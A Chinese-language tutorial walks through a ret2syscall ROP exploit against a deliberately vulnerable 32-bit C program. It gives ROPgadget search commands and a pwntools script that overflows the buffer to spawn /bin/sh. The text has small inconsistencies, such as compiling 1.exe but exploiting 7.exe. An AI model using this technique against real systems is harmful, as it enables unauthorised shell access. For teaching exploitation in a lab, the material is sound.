ret2syscall技术的原理大致为:从一个程序的进程空间去找一些函数汇编指令序列,然后通过堆栈操作构造execve("/bin/sh",null.null)这个函数,从而在利用溢出漏洞的时候去执行这个函数来获取系统调用。
execve("/bin/sh",null.null)函数的汇编程序为:
pop eax, # 系统调用号载入, execve为0xb
pop ebx, # 第一个参数, /bin/sh的string
pop ecx, # 第二个参数,0
pop edx, # 第三个参数,0
int 0x80, # 执行系统调用
那么我们应该从程序的进程空间中去找一些push、ret这样的汇编指令序列,然后通过堆栈操作将eax的值赋为0xb,将ebx指向为/bin/sh的地址,ecx为0,edx也为0。
那么通过ROPgadget这个工具来获取这些指令的位置。
例如:
ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
这条指令的意思是从pop、ret序列当中寻找其中的eax
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
这个就是从pop、ret序列当中寻找其中的ebx、ecx、dex
ROPgadget --binary ./7.exe --string "/bin/sh"
这个是去找"/bin/sh"这个字符串的地址
ROPgadget --binary ./7.exe --only "int"|grep "0x80"
这个就是int中断找"0x80"
下面我们开始实验,这个是我们进行实验的1.c文件:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
首先我们将其编译,不使用堆栈保护
gcc -no-pie -fno-stack-protector -static -m32 -o 1.exe 1.c
但是值得注意的是,我们需要设置成静态编译即
-static,否则将找不到这个程序的指令流。
找到这个程序的溢出位置,为第44个字节:
下面我们通过ROPgadget来寻找各个指令与函数的位置:
pop eax:
pop ebx 、edx、ecx:
参数"/bin/sh"的位置 以及断点int "0x80"的位置
根据execve的汇编指令,我们构造整个payload,其顺序为:
pop eax,载入execve(其值为0xb),pop ebx、ecx、edx,给三个寄存器分别传参,为:0x080ae008("/bin/sh"的地址)、0、0最后就是断点int "0x80"的位置
最后执行其python程序为1.py
from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
p.sendline(payload)
p.interactive()
获取权限成功